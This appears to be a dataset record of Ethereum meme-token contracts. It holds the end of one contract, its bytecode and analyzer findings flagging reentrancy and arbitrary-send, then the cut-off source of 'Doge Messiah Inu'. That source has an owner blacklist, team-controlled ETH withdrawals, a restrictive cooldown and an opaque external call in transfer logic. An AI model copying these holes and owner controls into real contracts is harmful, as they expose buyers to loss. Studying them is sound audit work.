uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600981526020017f546574737520496e750000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5445545355000000000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60405180910390fd5b60006116406116d9565b9050611655818461170490919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116c5573d6000803e3d6000fd5b5050565b6116d483838361174e565b505050565b60008060006116e6611919565b915091506116fd818361170490919063ffffffff16565b9250505090565b600061174683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611975565b905092915050565b600080600080600080611760876119d8565b9550955095509550955095506117be86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061189f81611ae6565b6118a98483611ba3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611906919061246c565b60405180910390a3505050505050505050565b600080600060075490506000662386f26fc10000905061194b662386f26fc1000060075461170490919063ffffffff16565b82101561196857600754662386f26fc10000935093505050611971565b81819350935050505b9091565b600080831182906119bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b3919061230a565b60405180910390fd5b50600083856119cb91906125a7565b9050809150509392505050565b60008060008060008060008060006119f38a60016009611bdd565b9250925092506000611a036116d9565b90506000806000611a168e878787611c73565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b905092915050565b6000808284611a979190612551565b905083811015611adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad39061238c565b60405180910390fd5b8091505092915050565b6000611af06116d9565b90506000611b078284611cfc90919063ffffffff16565b9050611b5b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bb882600754611a3e90919063ffffffff16565b600781905550611bd381600854611a8890919063ffffffff16565b6008819055505050565b600080600080611c096064611bfb888a611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c336064611c25888b611cfc90919063ffffffff16565b61170490919063ffffffff16565b90506000611c5c82611c4e858c611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611c8c8589611cfc90919063ffffffff16565b90506000611ca38689611cfc90919063ffffffff16565b90506000611cba8789611cfc90919063ffffffff16565b90506000611ce382611cd58587611a3e90919063ffffffff16565b611a3e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d0f5760009050611d71565b60008284611d1d91906125d8565b9050828482611d2c91906125a7565b14611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d63906123ac565b60405180910390fd5b809150505b92915050565b600081359050611d8681612a76565b92915050565b600081519050611d9b81612a76565b92915050565b600081519050611db081612a8d565b92915050565b600081359050611dc581612aa4565b92915050565b600081519050611dda81612aa4565b92915050565b600060208284031215611df657611df56127bc565b5b6000611e0484828501611d77565b91505092915050565b600060208284031215611e2357611e226127bc565b5b6000611e3184828501611d8c565b91505092915050565b60008060408385031215611e5157611e506127bc565b5b6000611e5f85828601611d77565b9250506020611e7085828601611d77565b9150509250929050565b600080600060608486031215611e9357611e926127bc565b5b6000611ea186828701611d77565b9350506020611eb286828701611d77565b9250506040611ec386828701611db6565b9150509250925092565b60008060408385031215611ee457611ee36127bc565b5b6000611ef285828601611d77565b9250506020611f0385828601611db6565b9150509250929050565b600060208284031215611f2357611f226127bc565b5b6000611f3184828501611da1565b91505092915050565b600060208284031215611f5057611f4f6127bc565b5b6000611f5e84828501611dcb565b91505092915050565b600080600060608486031215611f8057611f7f6127bc565b5b6000611f8e86828701611dcb565b9350506020611f9f86828701611dcb565b9250506040611fb086828701611dcb565b9150509250925092565b6000611fc68383611fd2565b60208301905092915050565b611fdb81612666565b82525050565b611fea81612666565b82525050565b6000611ffb8261250c565b612005818561252f565b9350612010836124fc565b8060005b838110156120415781516120288882611fba565b975061203383612522565b925050600181019050612014565b5085935050505092915050565b61205781612678565b82525050565b612066816126bb565b82525050565b600061207782612517565b6120818185612540565b93506120918185602086016126cd565b61209a816127c1565b840191505092915050565b60006120b2602383612540565b91506120bd826127d2565b604082019050919050565b60006120d5602a83612540565b91506120e082612821565b604082019050919050565b60006120f8602283612540565b915061210382612870565b604082019050919050565b600061211b601b83612540565b9150612126826128bf565b602082019050919050565b600061213e602183612540565b9150612149826128e8565b604082019050919050565b6000612161602083612540565b915061216c82612937565b602082019050919050565b6000612184602983612540565b915061218f82612960565b604082019050919050565b60006121a7602583612540565b91506121b2826129af565b604082019050919050565b60006121ca602483612540565b91506121d5826129fe565b604082019050919050565b60006121ed601783612540565b91506121f882612a4d565b602082019050919050565b61220c816126a4565b82525050565b61221b816126ae565b82525050565b60006020820190506122366000830184611fe1565b92915050565b60006040820190506122516000830185611fe1565b61225e6020830184611fe1565b9392505050565b600060408201905061227a6000830185611fe1565b6122876020830184612203565b9392505050565b600060c0820190506122a36000830189611fe1565b6122b06020830188612203565b6122bd604083018761205d565b6122ca606083018661205d565b6122d76080830185611fe1565b6122e460a0830184612203565b979650505050505050565b6000602082019050612304600083018461204e565b92915050565b60006020820190508181036000830152612324818461206c565b905092915050565b60006020820190508181036000830152612345816120a5565b9050919050565b60006020820190508181036000830152612365816120c8565b9050919050565b60006020820190508181036000830152612385816120eb565b9050919050565b600060208201905081810360008301526123a58161210e565b9050919050565b600060208201905081810360008301526123c581612131565b9050919050565b600060208201905081810360008301526123e581612154565b9050919050565b6000602082019050818103600083015261240581612177565b9050919050565b600060208201905081810360008301526124258161219a565b9050919050565b60006020820190508181036000830152612445816121bd565b9050919050565b60006020820190508181036000830152612465816121e0565b9050919050565b60006020820190506124816000830184612203565b92915050565b600060a08201905061249c6000830188612203565b6124a9602083018761205d565b81810360408301526124bb8186611ff0565b90506124ca6060830185611fe1565b6124d76080830184612203565b9695505050505050565b60006020820190506124f66000830184612212565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061255c826126a4565b9150612567836126a4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561259c5761259b612700565b5b828201905092915050565b60006125b2826126a4565b91506125bd836126a4565b9250826125cd576125cc61272f565b5b828204905092915050565b60006125e3826126a4565b91506125ee836126a4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561262757612626612700565b5b828202905092915050565b600061263d826126a4565b9150612648836126a4565b92508282101561265b5761265a612700565b5b828203905092915050565b600061267182612684565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006126c6826126a4565b9050919050565b60005b838110156126eb5780820151818401526020810190506126d0565b838111156126fa576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612a7f81612666565b8114612a8a57600080fd5b50565b612a9681612678565b8114612aa157600080fd5b50565b612aad816126a4565b8114612ab857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220251bb548c74e80f7130edd9004fd2e663510fb42880d5aa36e8f7aef0e780c8764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,349 |
0xff650d674b0d774e0f31a669720248c3968b3ac9
|
//Doge Messiah Inu (dMInu)
//Limit Buy
//Cooldown
//Bot Protect
//Liqudity dev provides and lock
//TG: https://t.me/dogemessiahinu
//Website: TBA
//CG, CMC listing: Ongoing
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract dMessiahInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Doge Messiah Inu";
string private constant _symbol = "dMInu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
